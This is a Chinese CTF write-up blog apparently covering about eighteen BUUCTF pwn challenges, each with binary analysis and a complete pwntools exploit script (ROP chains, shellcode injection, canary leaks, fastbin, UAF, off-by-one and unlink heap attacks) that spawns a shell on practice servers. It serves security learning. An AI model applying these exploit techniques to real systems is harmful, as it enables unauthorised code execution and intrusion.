这题的溢出点在scanf,然后,这里的检查保护,似乎没什么用处,并不能影响到退栈时候,我们控制eip,所以不用管,然后后门函数给了,直接用就好了。

这题跟之前有道类似,这次我学聪明了,很早就nc看了,远程和本地不一样,远程先要我们进行输入,这里算是一个点;还有个就是,调用程序函数打印flag的时候,返回地址处要写存在的地址,不可以随便填写,否则无法得到flag。

exp:

1
2
3
4
5
6
7
8
9
10
#!usr/bin/env python 
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",27280)
context.log_level='debug'
system=0x080485BD
flag=0x80487e0
payload='a'*0x17+p32(system)+p32(flag)+p32(flag)
p.sendline(payload)
p.interactive()

三十六、cmcc_simplerop

checksec一下,然后拖进ida。

符号表满满当当,静态链接了。一般考虑为ret2syscall。也确实,ROPgadget寻找了一番,syscall需要的都有了。除了没有/bin/sh,最开始我是直接寻找sh字符串的,因为有的题目sh也是可以getshell的,但是这题不行。就必须要找地方输入/bin/sh了,这个地方当然是.bss段啦

然后就是这边的溢出IDA里面有误,需要gdb里面进行寻找,偏移为32才对。

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",29838)
context.log_level='debug'
elf=ELF('./1')
int_80=0x0806EEF0
sh=0x080eafe1
bss=0x080eaf80
ppp_ret=0x0806e850 #pop_edx_ecx_ebx_ret
pop_eax=0x080bae06

payload='a'*32+p32(pop_eax)+p32(0x3)+p32(ppp_ret)+p32(8)+p32(bss)+p32(0)+p32(int_80)
payload+=p32(pop_eax)+p32(0xB)+p32(ppp_ret)+p32(0)+p32(0)+p32(bss)+p32(int_80)

p.sendlineafter("input :",payload)
p.send('/bin/sh\x00')
p.interactive()

第一个写法,是我转后写的样子,但是我的不行,出现下面的报错打不通。去百度了,但是由于博客园审核,没能查看到博文

这边似乎是execve的条件未达成,可是我与上面的exp差别只在于int 80的地址不同,我的是ROPgadget中找到的,而上面exp里面的int 80,是我在一个师傅的wp里面发现的,两者不一样

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",29838)
context.log_level='debug'
elf=ELF('./1')
read=elf.sym['read']
int_80=0x080493e1
sh=0x080c1a9d
bss=0x080eaf80
ppp_ret=0x0806e850 #pop_edx_ecx_ebx_ret
pop_eax=0x080bae06

payload='a'*32+p32(read)+p32(ppp_ret)+p32(0)+p32(bss)+p32(8)
payload+=p32(pop_eax)+p32(0xB)+p32(ppp_ret)+p32(0)+p32(0)+p32(bss)+p32(int_80)

p.sendlineafter("input :",payload)
p.send('/bin/sh\x00')
p.interactive()

第二个方法其实本质原理与上一个一样,就是跳转read的构造方式不一样,这边直接使用地址跳转,而不是系统调用。注意这两个方法的int 80不一样,用第二的int 80调用两次就会出现上图的情况

exp3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!usr/bin/env python
#coding=utf-8
from pwn import *
context.log_level ='debug'
p=remote("node3.buuoj.cn",29838)
elf=ELF('./1')
bss=0x080eaf80
mprotect=elf.sym['mprotect']
read=elf.sym['read']
ppp_ret=0x0806e850 #pop_edx_ecx_ebx_ret
payload='a'*32+p32(mprotect)+p32(ppp_ret)+p32(0x80ea000)+p32(0x2000)+p32(0x7)
payload+=p32(read)+p32(ppp_ret)+p32(0)+p32(bss)+p32(0x50)+p32(bss)
p.sendlineafter("input :",payload)
p.send(asm(shellcraft.sh()))
p.interactive()

第三个方法是使用mprotect把.bss修改为可执行,然后注入shellcode来getshell,有个点是修改的起始位置,得要最后三个为0才行,否则打不通,像是内存对齐的问题。

三十七、mrctf2020_shellcode

checksec一下,预测是注入shellcode,然后拖进IDA。

这题出没办法反汇编,百度上的wp也没办法,可能是直接call rax有点问题。不过好在汇编不复杂,很简单的程序逻辑,先输入0x400,然后做一个判断,其实这个判断无影响的,有输入的话,rax返回值就是大于0,跳转到右侧去执行,右侧是直接执行我们输入的数据,所以这边是直接ret2shellcode

exp:

1
2
3
4
5
6
7
8
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",27104)
context(os='linux',arch='amd64',log_level='debug')
shellcode=asm(shellcraft.sh())
p.sendlineafter("magic!",shellcode)
p.interactive()

三十八、others_babystack

这题代码很简单,canary也很容易泄露,其他就是rop。所以不多说。

注意点就是,这里的退栈要执行功能3才能退出,我刚开始一直反应过来,后面才发现的。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27939)
context.log_level='debug'
elf=ELF('./1')
main=0x400908
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400a93
#泄漏canary
payload='a'*0x88
p.sendlineafter(">> ",'1')
p.sendline(payload)
p.sendlineafter(">> ",'2')
p.recvuntil("a"*0x88)
canary=u64(p.recv(8))-0xa
log.info("canary: "+hex(canary))

p.sendlineafter(">> ",'1')
payload='a'*0x88+p64(canary)+'a'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
p.sendlineafter(">> ",'3')
puts=u64(p.recv(6).ljust(8,'\0'))
print hex(puts)

libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
payload='a'*0x88+p64(canary)+'a'*0x8+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(">> ",'1')
p.sendline(payload)
p.sendlineafter(">> ",'3')
p.interactive()

三十九、[ZJCTF 2019]EasyHeap

checksec一下, 然后进入ida。根据题目已经知道是个heap题目。

这边在编辑chunk上内容时候,输入的大小是再次由我们确定的,所以这里有着堆溢出漏洞,可以修改后一个chunk的fd指针,导致任意写的目的。

这边释放已经把指针置空了。

生成chunk就没什么好说的,然后这里是没有打印函数的,如果要输出就比较麻烦,要用IO结构体输出了。

这边其实有个后门函数的,可能是原题的有,但是这是buu,做到这大家应该都知道,flag就是直接在/根目录下的,所以不用去尝试就知道这里不行,但是给了system函数,got又可以改写,这边就使用修改got表的方法。具体脚本写,exp的注释十分详细了,步骤也不复杂,就不赘述了。

具体脚本编写,我在百度里面找到了一个师傅写的很详细,就直接搬过来了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",26437)
context.log_level='debug'
p=process('./1')
elf=ELF('./1')
free_got=elf.got['free']
system=0x400700

def debug():
gdb.attach(p)
pause()
def new(size):
p.sendlineafter("choice :",'1')
p.sendlineafter("Heap : ",str(size))
p.sendafter("heap:",p64(0))
def edit(idx,content):
p.sendlineafter("choice :",'2')
p.sendlineafter("Index :",str(idx))
p.sendlineafter("Heap : ",str(len(content)))
p.sendafter("heap : ",content)
def delete(idx):
p.sendlineafter("choice :",'3')
p.sendlineafter("Index :",str(idx))

print hex(free_got)
new(0x68)
new(0x68)
new(0x68)
delete(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020e0-0x40+0xd)
edit(1,payload)
debug()
# 修改 heap1 内容为 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指针
# 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell
# 为什么是 0x6020e0-0x40+0xd,这个偏移就是去寻找7f的固定手法,只是改变-后面的去找符合条件的就是了
# FakeChunk 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
# 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与 bin 链表 size 一致)
# 这样就伪造出了一个 chunk
new(0x68)
new(0x68)
payload=p8(0)*3+p64(0)*4+p64(free_got)
edit(3,payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先记录的是 chunk0的地址) 覆写成 free_got 地址
# 这就是要在 heaparry 附近构造 Fakeheap 的原因
# 确定具体的偏移量需要动态调试
edit(0,p64(system))
# free_got 地址的作用在这里体现了
# 由于 edit() 的目标是 heaparry[] 里面的地址
# 那么本次操作将修改 free_got 为 system_plt 的地址
delete(1)
# 当释放 chunk1 (内容为 '/bin/sh\0x00') 的时候
# 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
# 最后程序执行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell

p.interactive()

第二个我自己写的没能打通,看报错像是检验大小没过,可是我之前做过一道题,这样子也是可以创建堆块的,我是想把chunk直接创建在free的got.plt里面,直接改就好了,没必要像上面绕一圈子,没想过不行。

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!usr/bin/env python
#coding=utf-8
from pwn import *
#p=remote("node3.buuoj.cn",28313)
context.log_level='debug'
p=process('./1')
elf=ELF('./1')
free_got=0x602018
system=0x400700

def debug():
gdb.attach(p)
pause()
def new(size):
p.sendlineafter("choice :",'1')
p.sendlineafter("Heap : ",str(size))
p.sendafter("heap:",p64(0))
def edit(idx,content):
p.sendlineafter("choice :",'2')
p.sendlineafter("Index :",str(idx))
p.sendlineafter("Heap : ",str(len(content)))
p.sendafter("heap : ",content)
def delete(idx):
p.sendlineafter("choice :",'3')
p.sendlineafter("Index :",str(idx))

new(0x60)
new(0x60)
new(0x60)
delete(2)
payload='a'*0x60+p64(0)+p64(0x71)+p64(free_got-0x20+0xd)
edit(1,payload)
debug()
new(0x60)
new(0x60)
edit(3,p8(0)*3+p64(system))
edit(0,"/bin/sh\x00")
delete(0)
p.interactive()

四十、bjdctf_2020_babyrop2

checksec一下

开启了NX和Canary

进入ida看看代码

一个函数里面有着格式化字符串漏洞,允许我们输入六个长度的数据,用来泄露canary的,然后在后面的函数里面存在栈溢出,泄露libc的以及getshell的。

AAAAAA是我输进去的内容,他的位置在栈顶处,是格式化字符串的第六个参数,可以看见,在其下面的就是我们要的canary了,所以是第七个参数,从而确定构造为”%7$p”,之后就是正常的普通rop内容了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27477)
context.log_level='debug'
elf=ELF('./1')
pop_rdi=0x400993
main=0x400887
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
read_plt=elf.plt['read']
read_got=elf.got['read']

payload='%7$p'
p.sendlineafter("u!",payload)
p.recvuntil("0x")
canary=int(p.recv(16), 16)
print hex(canary)
payload='a'*0x18+p64(canary)+'deadbeef'+p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main)
p.sendlineafter("story!",payload)
p.recv()
read=u64(p.recv(6).ljust(8,'\0'))
print hex(read)
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
payload='a'*0x18+p64(canary)+'deadbeef'+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter("story!",payload)
p.interactive()

四十一、bjdctf_2020_router

常规checksec一下,看看保护

只开启了NX

进入ida看看代码

第一个功能很神奇的让我们输入一个长度为0x10的数据,然后用system调用?我跑去nc了一下

好吧,成功获得flag了。

四十二、picoctf_2018_shellcode

checksec一下

保护都没开启,拖入ida分析一下。无法F5反汇编,只能看汇编代码了。

有个vuln函数,里面有调用gets和puts两个函数,可以进行输入。再看其他代码,底下有个call eax,可以进行执行代码,看下eax的内容来自哪里

这里传递给eax的地址与下面调用时一致,然后vuln函数里面gets输入的地址是ebp+8中存放的地址,其实就是eax里面的地址内容,所以整个程序总的说就是会执行我们输入进去的东西,加上nx未开,输入shellcode来getshell

1
2
3
4
5
6
from pwn import *
p=remote("node3.buuoj.cn",28165)
context(log_level='debug',arch='i386',os='linux')
shellcode=asm(shellcraft.sh())
p.sendlineafter("string!",shellcode)
p.interactive()

四十三、hitcontraining_uaf

常规checksec一下

image-20210727132448387

进入ida看看,其实题目已经有暗示,uaf,所以我们先去delete函数里面看看,

image-20210727132528641

确实存在着uaf,那么该怎么利用?再看看add函数和printf函数

image-20210727132617843

这边的add函数比较奇怪,首先是有次数限制只能申请五个堆块,其次是会申请两个堆块,第一个堆块是固定8字节大小,前4个字节存放一个print_note_content函数的地址,后4个字节是我们可以控制的,申请一个任意大小的堆块

image-20210727132832076

在print函数里面,最后会进行函数调用,就是调用先前在add函数里面保存的print_note_content函数进行打印我们可以控制的堆块里面的内容

image-20210727133015119

最后就是还存在一个后门函数

思路:一开始是觉得没有edit这类的函数,可能是要制造堆块重叠,把后门函数劫持到malloc_hook里面去,还以为5个会够,但是一个泄露libc基址,再一个申请fastchunk进行double free,然后还需要申请四次,超过次数了

image-20210727135534549

这是double free的fastbin上的情况,因为free也是两个,所以直接进行两次操作直接就可以构造出A-B-A

所以换一种方法:利用那个函数调用,想办法把进行调用的堆块变成是我们可以控制的那个堆块,把内容改成后门函数,那么就可以getshell了!

image-20210727140624461

像这样,我们可以控制的堆块申请一个比0x8大的堆块,那么我们就不会申请走,而固定申请大小为0x8的堆块就会申请走一个,此时我们,如果再申请0x8的堆块,就会进行更换了,我们申请到的就是之前程序的固定堆块,最后printf一下,就getshell了!

image-20210727141018340

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF("./hacknote")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so")
#p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p=remote("node4.buuoj.cn",26333)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter('choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendlineafter('Content :',content)

def delete(idx):
p.sendlineafter('choice :','2')
p.sendlineafter('Index :',str(idx))

def printf(idx):
p.sendlineafter('choice :','3')
p.sendlineafter('Index :',str(idx))

shell_addr=0x8048945
add(0x8,'a')
delete(0)
delete(0)
add(0x10,'a')
add(0x8,p32(shell_addr))
printf(0)
#debug()
p.interactive()

四十四、picoctf_2018_buffer

image-20210728144721443

checksec的情况来看以及名字,应该是道栈题目,进入ida看看

image-20210728144750715

漏洞点应该是在这了,存在明显栈溢出

image-20210728145612076

程序本身还蕴含着一个函数,这个函数会读取flag里面的内容,只要通过判断即可打印出flag

image-20210728145716640

而这里的a1,a2就是该函数的参数。

image-20210728150414970

成功获取flag

1
2
3
4
5
6
7
from pwn import *
p=remote("node4.buuoj.cn",28765)
win_addr=0x080485CB
payload='a'*0x70+p32(win_addr)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
p.recvuntil("Please enter your string:")
p.sendline(payload)
p.interactive()

四十五、roarctf_2019_easy_pwn

常规checksec一下,保护全开,可能是道堆题了,进入ida看看程序

image-20210728151846042

漏洞点在于write函数里面

image-20210730125048904

这里会把我们之前申请堆块时输入的size与现在要写入的size进行比较,如果我们现在写入的size比原来的size大10,就可以多写一个,所以漏洞点是offbyone

泄露libc,因为calloc会清空堆块的数据,所以这边借着溢出,把is_mmap位改为1,就不会被清空数据,借此把libc泄露出来

image-20210730215233503

然后就利用offbyone修改堆块的size,制造overlop,修改被覆盖的堆块的fd指针,然后把堆块申请到malloc_hook上去

image-20210730233057769

image-20210730233446054

这边我已经成功写进去了,但是没有getshell,四种都没办法getshell,那接下来,就有很多处理方式了

  • 转而去修改free_hook函数
  • 利用realloc调整栈帧
  • house of orange(通杀2.23以及2.24)

这边我使用realloc调整栈帧,其他方法后续会更新的(我也不知道后续是多久~)

image-20210731002134507

这边可以看见,并不会为NULL,所以one_gadget条件没有达成,然后看看realloc,会压栈

image-20210731002037708

image-20210731002752890

发现,其实压栈导致的rsp-0x8,已经让one_gadget的条件达成了,所以就不用再去找了

image-20210731001850853

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./roarctf_2019_easy_pwn")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
libc = ELF("./libc-2.23.so")
p=remote("node4.buuoj.cn",25420)
def debug():
gdb.attach(p,"b main")

def add(size):
p.sendlineafter("choice: ","1")
p.recvuntil("size: ")
p.sendline(str(size))

def edit(idx,size,content):
p.sendlineafter("choice: ","2")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size+10))
p.recvuntil("content: ")
p.send(content)

def show(idx):
p.sendlineafter("choice: ","4")
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("content: ")

def free(idx):
p.sendlineafter("choice: ","3")
p.recvuntil("index: ")
p.sendline(str(idx))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x68)#0
add(0x88)#1
add(0x68)#2
add(0x68)#3
add(0x68)#4
free(1)
edit(0,0x68,'a'*0x68+'\x93')
add(0x88)#1
show(1)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78
mlh=libc_base+libc.sym['__malloc_hook']
rlh=libc_base+libc.sym['']
realloc=libc_base+libc.sym['__libc_realloc']
ogg=libc_base+0x4526a
log.success("libc base==>0x%x" %libc_base)
log.success("__malloc_hook==>0x%x" %mlh)
log.success("realloc==>0x%x" %realloc)
log.success("one_gadget==>0x%x" %ogg)

edit(1,0x88,'a'*0x88+'\xe1')
free(3)
free(2)
add(0xd8)#2
payload='a'*0x60+p64(0)+p64(0x71)+p64(mlh-0x30+0xd)
edit(2,len(payload)-10,payload)
add(0x68)#3
add(0x68)#5
payload=p8(0)*3+p64(0)+p64(ogg)+p64(realloc)
edit(5,len(payload)-10,payload)

#debug()
add(0x10)
p.interactive()

四十六wustctf2020_getshell_2

image-20210808202602382

先checksec一下,32位,开启保护只有nx

image-20210808203034653

image-20210808205220758

ida里面十分简单,漏洞点就这么一些东西,说明就是一个栈溢出,而溢出算上返回地址,只有八个字节,给的后门函数是无法使用的,那么如果按照原来的构造方法,字节数是不够的,因为加上返回地址,那明显是要十二个字节。然后这边的字符要去找sh,只有sh也是可以getshell的,除此之外,那如果要不需要返回地址,那就要去跳转到这边的程序里面已经有的call _system,就可以不需要返回地址,因为call指令会自动的将下一条指令压入栈中作为返回地址

image-20210808205011413

exp:

1
2
3
4
5
6
7
from pwn import *
p = remote("node4.buuoj.cn",27986)
sys = 0x8048529
sh = 0x08048670
payload = 'a'*0x1c + p32(sys) + p32(sh)
p.send(payload)
p.interactive()

四十七、qctf_2018_stack2

image-20210808210516960

checksec一下,32位,且有nx以及canary,那就要先去寻找怎么泄露canary了,不然是没法做的

image-20210808214029860

分析了一下程序的功能,不存在溢出点,输入函数也都是用的scanf,只有这个地方应该是有问题的,首先这个数组的是在栈上的,而数组下标我们是可以控制的,那就存在了数组越界问题了。并且给了一个后门函数,那就可以逐个字节的输入进去,覆盖返回地址,这样也就不需要去泄露canary了

然后就是数组的偏移,直接看ida的反汇编是错误的,为什么会错?

image-20210808222850151

image-20210808222112204

汇编代码可以解惑:由于这边的处理不同,导致ebp的下方并不是返回地址,而是还有一段距离,就要去调试获得了

image-20210808225803029

我选择在下标为1的位置输入调试,而这边[ebp+eax*1-0x70]就是输入的数最终会存放的地方,因为我输的是0,所以可以算出的ebp-0x70就是数组的起始地址,这样只要再去算一下返回地址到这的偏移即可

image-20210808230055266

算出偏移之后就是利用数组越界把后门函数地址写入到返回地址

image-20210808221957029

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote("node4.buuoj.cn",25028)
context.log_level = 'debug'
p.recvuntil("have:")
p.sendline('0')
get_shell = [0x9b,0x85,0x04,0x08]
for i in range(4):
p.sendlineafter("5. exit",'3')
p.sendlineafter("change",str(0x84+i))
p.sendlineafter("number:",str(get_shell[i]))
p.sendlineafter("5. exit",'5')
p.interactive()

四十八、[ZJCTF 2019]Login

image-20210812160620361

先checksec一下,64位,开启了nx和canary,可能要泄露canary,进入ida分析一下

进入程序,是个用c++编写的程序,看起来有些费力

image-20210812162011685

首先找到了一个后门函数,那么就再去找找输入点,看看有没有溢出,以及找找有没有函数调用的地方。然后可以发现,输入点是不存在溢出到返回地址的,但是可以找到一个能进行函数调用的地方

image-20210812162329071

在整个程序的最后,进行密码验证,如果通过就会进行函数调用。那么,就去找找这个函数调用从哪里传入,是否可以修改?以及怎么通过检验

image-20210812165314541

首先通过验证,把这的账号密码输入进去即可

image-20210812165836228

image-20210812165850893

然后就是要进行覆盖,把v8覆盖为后门函数,v8又来自vuln,而vuln似乎不是我们可以控制的变量。但是去查汇编代码,可以知道最后的函数调用,表现是call rax,那是否可以去修改rax的数据呢?

image-20210812170456157

这里很有意思,在call rax前可以追溯到rax的值来自栈上一个数据,可以去看看能不能覆盖

image-20210812172747784

image-20210812172859005

这里传入的rax的值就是源头,而这里的值是栈上的,并且我们是可以覆盖的,就是在第二个输入点输入密码的地方

成功getshell

image-20210812164617984

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'
p = remote("node4.buuoj.cn",29528)
shell = 0x400E88

p.recvuntil("username:")
p.sendline("admin")
p.recvuntil("password:")
payload = "2jctf_pa5sw0rd".ljust(0x48,'\x00') + p64(shell)
p.sendline(payload)
p.interactive()

四十九mrctf2020_easyrop

image-20210812175441484

checksec,64位,只开启nx

image-20210812180035772

首先程序存在后门,但是依照逻辑是不可能运行到后门的,所以需要劫持rip执行后门函数

image-20210812181120347

所有的输入点都是从var_310开始输入的,然而最大的输入长度也不过是0x300,不够覆盖到返回地址

image-20210812181040014

仔细分析程序,可以发现这边有个数组越界,这里的a1是var_310,所以可以先用别的函数输入数据,然后越界覆盖返回地址为后门函数

这边有个注意点:覆盖成功后退出程序时,程序还是会执行到数组越界的函数,所以这时候的输入只能是输入一个’\x00’,并且不能含有换行符,否则会接在前面输入的后门函数的地址上,导致地址无效了

在本地成功getshell,远程的docker可能出问题了,没有反应

image-20210812184240747

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
#p = remote("node4.buuoj.cn",26109)
p = process("./mrctf2020_easyrop")
context.log_level = 'debug'
#gdb.attach(p)
shell = 0x40072A

p.sendline('2')
payload = 'a'*0x2ff + '\x00'
p.sendlineafter("hehehehehehehe\n",payload)
p.sendline('3')
payload = 'a'*0x19 + p64(shell)
p.sendlineafter("bybybybybybyby\n",payload)
p.sendline('7')
p.send('\x00')
p.interactive()

五十、xdctf2015_pwn200

image-20210812185855607

checksec一下,32位,开了nx

image-20210812192549644

程序很简单,这边有个很明显的栈溢出,并且程序含有泄露函数write,构造基础的rop就行了

image-20210812192512692

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",25644)
#p=process('./bof')
context.log_level='debug'
elf=ELF('./bof')
main=0x80484d6
write_plt=elf.plt['write']
write_got=elf.got['write']
#gdb.attach(p)

p.recvline()
payload='a'*0x70+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write=u32(p.recv(4))
log.info("write addr:"+hex(write))
libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

payload='a'*0x70+p32(system)+p32(main)+p32(binsh)
p.sendline(payload)
p.interactive()

五十一、jarvisoj_level6_x64

image-20210812200521406

看附件名字,应该是道堆题,这道堆题没开PIE,RELRO没开全,这种题目一般是想办法修改got表,这样能稳定getshell

image-20210914200255661

首先,创建了一个大堆块,用来保存后面申请堆块的size,指针等信息

image-20210914200621734

在申请堆块功能里的这个语句代表分配堆块的大小是0x80的整数倍

image-20210914200526193

在edit功能中,如果你写入与之前申请不匹配的size,那么会调用realloc扩充堆块的size,似乎可以造成overlap

image-20210914200603042

free功能的话,堆结构里面的指针没有清零,存在UAF。但是前面的flag、size都清零了,所以只能double free

image-20210914202759594

有个注意点是在申请堆块中的输入堆块内容时,你输入多大的size,那你相应就要填入多大的字符,否则这边的read是不会停止的

思路:就先checksec看到的,去劫持got表,一般是free,然后再去释放一个内容为/bin/sh的堆块。这题堆块内容没有清空,并且申请堆块时输入的数据是可以不输入\x00的,所以不会截断,那就说明蕴含着很多脏数据都是可以泄露的!比如libc,比如堆地址,而如果有了堆地址,unlink,随之而来,然后PIE又没开,直接写got表地址,然后写入system地址即可!

image-20210914204249244

这边释放堆块要注意,得先申请四个,然后隔着释放,因为都是unsorted chunk,得要防止触发unlink合并

image-20210914211338216

释放完四个堆块后,有残余脏数据的堆结构,现在就要依据这个脏数据进行构造unlink

image-20210914212020955

很明显,申请出来的,只能在第三个堆地址上伪造出堆头,这样才能释放该伪造堆块,触发unlink

image-20210915103319358

unlink成功,把堆块指针的值变为了堆结构上的地址,之后直接对着堆结构修改即可

image-20210915110109421

getshell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./freenote_x64")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn",27343)
def debug():
gdb.attach(p,"b main")

def add(size,content):
p.sendlineafter("Your choice: ","2")
p.recvuntil("Length of new note: ")
p.sendline(str(size))
p.recvuntil("Enter your note: ")
p.send(content)

def edit(idx,size,content):
p.sendlineafter("Your choice: ","3")
p.recvuntil("Note number: ")
p.sendline(str(idx))
p.recvuntil("Length of note: ")
p.sendline(str(size))
p.recvuntil("Enter your note: ")
p.send(content)

def show():
p.sendlineafter("Your choice: ","1")

def free(idx):
p.sendlineafter("Your choice: ","4")
p.recvuntil("Note number: ")
p.sendline(str(idx))

add(0x80,'a'*0x80) #0
add(0x80,'b'*0x80) #1
add(0x80,'c'*0x80) #2
add(0x80,'d'*0x80) #3
free(0)
free(2)
add(8,'a'*0x8) #因为会凑齐0x80的大小,所以也是相当于申请出0x80的堆
add(8,'b'*0x8)
show()
p.recvuntil("0. aaaaaaaa")
heap_base = u64(p.recv(4).ljust(8,'\x00')) - 6464 #接收四个,是因为打远程时,发现堆地址就是四个字节的
log.success("heap_base==>0x%x" %heap_base)
p.recvuntil("2. bbbbbbbb")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 3951480
log.success("libc_base==>0x%x" %libc_base)
system = libc_base + libc.sym['system']
free(3)
free(2)
free(1)
free(0) #清空堆块,为了后续借用UAF进行unlink

#unlink
payload = p64(0) + p64(0x110) + p64(heap_base + 0x30 - 0x18) + p64(heap_base + 0x30 - 0x10)
add(len(payload),payload)
payload = 'a'*0x80 + p64(0x110) + p64(0x90) + 'a'*0x80 + p64(0) + p64(0x91)
add(len(payload),payload)
free(2)

free = elf.got['free']
payload = p64(0x2) + p64(0x1) + p64(0x8) + p64(free)
edit(0,0x20,payload)
edit(0,0x8,p64(system))
add(8,'/bin/sh\x00')
p.sendlineafter("Your choice: ","4")
p.recvuntil("Note number: ")
p.sendline(str(2)) #不知道为什么,这里不这样输入,没办法getshell
p.interactive()

五十二、inndy_rop

先checksec一下,32位,只开了nx

image-20210823202233200

进入ida,程序很简单,只有一个gets函数,明显溢出

然后程序东西很繁杂,这种就是属于静态编译的程序,程序里面包含着程序所需要的函数信息,但是找了一下,没有找到/bin/sh,以及system,那应该就是要构造gadgets了,去使用系统调用号函数获取shell

image-20210823195230792

百度了一下,ROPgadget内置了相关工具,可以直接针对这种题目有现成的exp

ROPgadget --binary rop --ropchain

image-20210823195052520

image-20210823201506833

